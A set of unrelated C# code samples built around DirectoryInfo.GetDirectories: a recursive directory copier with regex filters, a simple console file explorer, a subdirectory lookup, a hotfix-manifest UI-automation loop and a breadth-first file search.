/// <summary> /// Copy directory with inside files in new path /// </summary> /// <param name="sourcePath">Full name of source directory</param> /// <param name="destDirectory">Path of destination directory (only name directory)</param> /// <param name="regexFilterNoFiles">Regex pattern for none copyied files</param> /// <param name="regexFilterNoDirs">Regex pattern for none copyied folders</param> static void DirectoryCopy(string sourcePath, string destDirectory, string regexFilterNoFiles, string regexFilterNoDirs) { if (sourcePath.IsNull()) { throw new ArgumentNullException("Exception DirectoryCopy(): sourceDirName is empty"); } if (destDirectory.IsNull()) { throw new ArgumentNullException("Exception DirectoryCopy(): destDirName is empty"); } if (!Directory.Exists(sourcePath)) { throw new DirectoryNotFoundException("Exception DirectoryCopy(): directory \'" + sourcePath + "\" not exist"); } //define end directory name var treeDir = sourcePath.Split('\\'); var createName = treeDir[treeDir.LastIndex()]; if (createName.IsNull()) { createName = treeDir[treeDir.Length - 2]; } var endDirName = destDirectory + "\\" + createName; //remove old directory //if (replaceDirectory) DirectoryDelete(endDirName); //create new directory if (!Directory.Exists(endDirName)) { Directory.CreateDirectory(endDirName); } //get and copy all files var dir = new DirectoryInfo(sourcePath); var dirs = dir.GetDirectories(); FileInfo[] files = dir.GetFiles(); //Create regex Regex regex = null; if (regexFilterNoFiles != null) { regex = new Regex(regexFilterNoFiles, RegexOptions.IgnoreCase); } foreach (FileInfo file in files) { if (regex != null && regex.IsMatch(file.Name)) { continue; } var temppath = Path.Combine(endDirName, file.Name); file.CopyTo(temppath, true); } regex = null; if (regexFilterNoDirs != null) { regex = new Regex(regexFilterNoDirs, RegexOptions.IgnoreCase); } //copy subDirectories foreach (DirectoryInfo subdir in dirs) { var temppath = Path.Combine(endDirName, subdir.Name); if (regex != null && regex.IsMatch(subdir.Name)) { continue; } DirectoryCopy(subdir.FullName, temppath, regexFilterNoFiles, regexFilterNoDirs); } }
static void Main(string[] args) { Console.WriteLine("File explorer [Version 1.0]"); Console.WriteLine("Copyright (c) 2018 Krusto Stoianov. All rights reserved."); Console.WriteLine(); var input = new List <string>() { "", "", "" }; var Path = @"D:\program "; var Directory = (DirectoryInfo)null; while (input[0].ToLower() != "exit") { Console.Write(Path + ">"); input = Console.ReadLine().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries).ToList(); Directory = new DirectoryInfo(Path); if (input[0] == "cd") { try { if (input[1].StartsWith("./")) { if (input[1].Length != 0 && !input[1].EndsWith("./")) { int length = Path.Length; if (!Path.EndsWith("\\")) { Path += "\\"; } Path += input[1]; Path = Path.Replace('.', ' '); Path = Path.Replace('/', ' '); Path = string.Join("", Path.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries)); Path += " "; } } else if (input[1] == "../") { Path = Path.Replace(Directory.Name, ""); Path = Path.Remove(Path.Length - 2, 1); } else { if (new DirectoryInfo(Path + "\\" + input[1]).Exists) { Path += "\\" + input[1]; Path = Path.Replace('/', ' '); Path = string.Join("", Path.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries)) + " "; } } } catch { } } if (input[0] == "ls") { var RawFiles = new List <FileInfo>(); var Directories = new List <DirectoryInfo>(); RawFiles = Directory.GetFiles().ToList(); Directories = Directory.GetDirectories().ToList(); Console.WriteLine(); for (int i = 0; i < Directories.Count; i++) { if (Directories[i].Name.Length != 0) { Console.SetCursorPosition(4, Console.CursorTop); Console.WriteLine("DIR"); Console.SetCursorPosition(25, Console.CursorTop - 1); Console.WriteLine(Directories[i].Name); } } for (int i = 0; i < RawFiles.Count; i++) { Console.SetCursorPosition(4, Console.CursorTop); Console.WriteLine("FILE"); Console.SetCursorPosition(10, Console.CursorTop - 1); Console.WriteLine($"{string.Format("{0:D}", (RawFiles[i].Length / (1024)))} "); Console.SetCursorPosition(19, Console.CursorTop - 1); Console.WriteLine("Kb"); Console.SetCursorPosition(25, Console.CursorTop - 1); Console.WriteLine(RawFiles[i].Name); } } if (input[0] == "copy") { string file = ""; try { file = Directory.GetFiles().Where(x => x.FullName.Contains(input[1])).ElementAt(0).FullName; try { string destinationFolder = input[2]; if (new DirectoryInfo(destinationFolder).Exists) { var currentFile = new FileInfo(file); currentFile.CopyTo(destinationFolder + "\\" + currentFile.Name); Console.WriteLine("Operation successful!"); } else { Console.WriteLine("Destination folder does not exist!"); } } catch { Console.WriteLine("Wrong destination path parameter!"); } } catch { Console.WriteLine($"Wrong file name parameter!"); } } if (input[0] == "cut") { string file = ""; try { file = Directory.GetFiles().Where(x => x.FullName.Contains(input[1])).ElementAt(0).FullName; try { string destinationFolder = input[2]; if (new DirectoryInfo(destinationFolder).Exists) { var currentFile = new FileInfo(file); currentFile.MoveTo(destinationFolder + "\\" + currentFile.Name); Console.WriteLine("Operation successful!"); } else { Console.WriteLine("Destination folder does not exist!"); } } catch { Console.WriteLine("Wrong destination path parameter!"); } } catch { Console.WriteLine($"Wrong file name parameter!"); } } if (input[0] == "remove") { string file = ""; try { file = Directory.GetFiles().Where(x => x.FullName.Contains(input[1])).ElementAt(0).FullName; try { File.Delete(file); Console.WriteLine("Opration successfull!"); } catch { Console.WriteLine("Operation unsuccessfull!"); } } catch { Console.WriteLine($"Wrong file name parameter!"); } } if (input[0] == "cls") { Console.Clear(); } } }
public static DirectoryInfo FindSubDirectory(this DirectoryInfo directoryInfo, string name, SearchOption mode = SearchOption.TopDirectoryOnly) { DirectoryInfo[] subDirectories = directoryInfo.GetDirectories("*", mode); return(subDirectories.FirstOrDefault((DirectoryInfo subDir) => subDir.Name == name)); }
static void Main(string[] args) { Playback.Initialize(); LogtoFile("Started logging "); try { // ClickWindowButton("System Inventory", "Load Update"); // ClickToolBar("System Inventory", "View"); string strstartfrom = ConfigurationManager.AppSettings["startfrom"]; LogtoFile("got start from "); string spath = ConfigurationManager.AppSettings["hotfixpath"]; LogtoFile("got hotfixpath "); string hfversion = ConfigurationManager.AppSettings["HFVersionString"]; LogtoFile("got HFVersionString "); int intStartHFnum = Int32.Parse(strstartfrom); LogtoFile("Parsed sTartfrom"); LogtoFile("Start from Hotfix" + strstartfrom); LogtoFile("HF path i" + spath); LogtoFile("HF version s" + hfversion); LogtoFile("int valie is " + intStartHFnum); // string spath = @"E:\Hotfixes 7.0.1"; DirectoryInfo dinfo = new DirectoryInfo(spath); List <string> IndHFs = (from d in dinfo.GetDirectories() orderby d.FullName select d.FullName).ToList(); foreach (string HFF in IndHFs) { if (HFF.Contains("HF")) { LogtoFile("Inside If"); string HF = HFF.Substring(HFF.LastIndexOf("\\") + 1, HFF.Length - HFF.LastIndexOf("\\") - 1); LogtoFile("HF nu " + HF); if (HF.Contains("HF")) { string hfnum = HF.Replace(hfversion, "").Trim(); LogtoFile("Thi is" + HF); string inthfnum = hfnum.Replace("HF", "").Trim(); LogtoFile("fullint is" + inthfnum); int fullhfnum = Int32.Parse(inthfnum); if (fullhfnum > intStartHFnum) { LogtoFile("Inside Maniset"); DirectoryInfo dr2 = new DirectoryInfo(HFF); var flname = (from f in dr2.GetFiles() orderby f.Name where f.Extension == ".manifest" select f.FullName).First(); // Console.WriteLine("Full manisfext file path is " + flname); LogtoFile("Started execution"); ClickWindowButton("Load Update Wizard", "Load Update"); EnterDatainTextbox("Open Update Manifest File", "File name:", flname); ClickWindowButton("Open Update Manifest File", "Open"); //Conditional OK and Yes OptionalClickWindowButton("Load Update Wizard", "&OK"); OptionalClickWindowButton("Load Update Wizard", "Yes"); OptionalClickWindowButton("Load Update Wizard", "Yes"); ClickWindowButton("Load Update Wizard", "Process Update"); OptionalClickWindowButton("Load Update Wizard", "&OK"); OptionalClickWindowButton("Load Update Wizard", "Yes"); OptionalClickWindowButton("Load Update Wizard", "Yes"); //Conditional OK and Yes } } } } } catch (Exception ex) { LogtoFile("General Error is: " + ex.Message); } Playback.Cleanup(); }
public static string FindFile(string sPathName, string name) { Debuger.Log(sPathName + " " + name); //创建一个队列用于保存子目录// Queue<string> pathQueue = new Queue<string>(); //首先把根目录排入队中// pathQueue.Enqueue(sPathName); //开始循环查找文件,直到队列中无任何子目录// while (pathQueue.Count > 0) { //从队列中取出一个目录,把该目录下的所有子目录排入队中// DirectoryInfo diParent = new DirectoryInfo(pathQueue.Dequeue()); foreach (DirectoryInfo diChild in diParent.GetDirectories()) pathQueue.Enqueue(diChild.FullName); //查找该目录下的所有文件,依次处理// foreach (FileInfo fi in diParent.GetFiles()) { //Console.WriteLine(fi.FullName); if (fi.FullName.ToLower().EndsWith(name.ToLower())) { string reallyfullname = fi.FullName.ToLower().Replace("\\", "/"); int index = reallyfullname.ToLower().IndexOf(sPathName.ToLower()); if (index == -1) Debuger.LogError(" Index Failed: " + reallyfullname + " " + sPathName.ToLower()); string ret = fi.FullName.ToLower().Substring(index); return ret; } } } return ""; }